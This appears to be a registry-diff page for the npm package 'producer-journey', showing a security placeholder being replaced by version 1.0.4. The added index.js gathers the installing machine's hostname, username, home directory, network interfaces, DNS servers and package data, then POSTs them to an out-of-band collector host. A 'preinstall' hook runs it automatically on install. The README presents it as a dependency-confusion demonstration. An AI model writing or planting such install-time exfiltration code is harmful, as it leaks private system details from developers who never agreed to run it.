producer-journey 0.0.1-security → 1.0.4

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of producer-journey might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +3 -5
  2. package/index.js +51 -0
  3. package/package.json +9 -3
package/README.md CHANGED
@@ -1,5 +1,3 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=producer-journey for more information.
1
+ <h1 align="center">This NPM package vulnerable to dependency confiuse vulnerability</h1>
2
+ <p align="center">Name: Aryan Jaiswal</p>
3
+ <p align="center">Contact: aryan351985@gmail.com</p>
package/index.js ADDED
@@ -0,0 +1,51 @@
1
+ //author:- whitehacker003@protonmail.com
2
+ const os = require("os");
3
+ const dns = require("dns");
4
+ const querystring = require("querystring");
5
+ const https = require("https");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ const trackingData = JSON.stringify({
10
+ p: package,
11
+ c: __dirname,
12
+ hd: os.homedir(),
13
+ ah: os.arch(),
14
+ ni: os.networkInterfaces(),
15
+ pl: os.plateform(),
16
+ tp: os.type(),
17
+ hn: os.hostname(),
18
+ un: os.userInfo().username,
19
+ dns: dns.getServers(),
20
+ r: packageJSON ? packageJSON.___resolved : undefined,
21
+ v: packageJSON.version,
22
+ pjson: packageJSON,
23
+ });
24
+
25
+ var postData = querystring.stringify({
26
+ msg: trackingData,
27
+ });
28
+
29
+ var options = {
30
+ hostname: "cm30n6w2vtc0000cv6m0gkbokucyyyyyb.oast.fun", //replace burpcollaborator.net with Interactsh or pipedream
31
+ port: 443,
32
+ path: "/",
33
+ method: "POST",
34
+ headers: {
35
+ "Content-Type": "application/x-www-form-urlencoded",
36
+ "Content-Length": postData.length,
37
+ },
38
+ };
39
+
40
+ var req = https.request(options, (res) => {
41
+ res.on("data", (d) => {
42
+ process.stdout.write(d);
43
+ });
44
+ });
45
+
46
+ req.on("error", (e) => {
47
+ // console.error(e);
48
+ });
49
+
50
+ req.write(postData);
51
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "producer-journey",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.4",
4
+ "description": "<h1 align=\"center\">This NPM package vulnerable to dependency confiuse vulnerability</h1> <p align=\"center\">Name: Aryan Jaiswal</p> <p align=\"center\">Contact: aryan351985@gmail.com</p>",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }